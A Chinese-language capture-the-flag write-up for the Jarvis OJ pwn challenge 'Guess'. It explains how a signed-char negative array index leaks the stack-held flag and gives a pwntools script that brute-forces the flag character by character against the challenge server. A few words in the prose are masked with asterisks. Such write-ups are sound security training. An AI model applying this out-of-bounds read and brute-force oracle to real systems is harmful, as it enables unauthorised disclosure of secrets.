(Jarvis Oj)(Pwn) Guess
程序员文章站
2022-05-16 09:11:54
...
(Jarvis Oj)(Pwn) Guess
查看保护。没开什么保护。
丢到ida中查看程序逻辑。前面不用看,找到handle函数。
可以看到输入是用fget函数处理的,限制了输入的长度,所以不好溢出。再看看flag_correct( )函数。
在nc连远程服务器的时候也提示说,要将flag先encode成hex,所以50个字符的flag就成了100个字符,程序首先判断长度是否是100,然后在栈上给flag这个数组赋值,然后取出用户输入,每两位进行decode变为一个字符,最后和flag数组进行比较。注意到栈的布局。
flag的地址是bin_by_hex+0x40,程序中又通过bin_by_hex这个数组取值,那么如果index为负数就会取到flag数组中的数,也就是flag,given_flag=value2+16 * value1,那么只要value1=0,value2=flag[-40]~flag[-1],那么得到的given_flag[i]就是flag,要使flag_hex[2 * i+1]是负数并不难,因为flag_hex是char型数组,当超过127时会变成负数,所以我们可以通过输入得到given_flag和flag一样,但是程序没有输出,无法知道given_flag的具体内容。按理说这程序是50个字符一起验证的,**不可行,但是我们可以得到given_flag就是flag,那么实际上我们可以控制其为一位一位验证,先让given_flag[1]~given_flag[49]是flag的内容,对given_flag[0]进行**,再逐次向后**。写得脚本。
1 from pwn import *
2 import string
3
4 conn=remote('pwn.jarvisoj.com','9878')
5 e=ELF('./guess')
6 conn.recvuntil('>')
7
8 payload=""
9 l=string.digits+'_{}'+string.ascii_lowercase+string.ascii_uppercase
10 for i in range(50):
11 payload+='0'
12 payload+=chr(128+i+0x40)
13 #print payload
14 t=list(payload)
15 flag=''
16 for i in range(50):
17 for j in l:
18 t[i*2]=j.encode('hex')[0]
19 t[2*i+1]=j.encode('hex')[1]
20 conn.sendline(''.join(t))
21 re=conn.recvline()
22 if re.count('Yaaa'):
23 flag+=j
24 break
25 print flag
26 conn.interactive()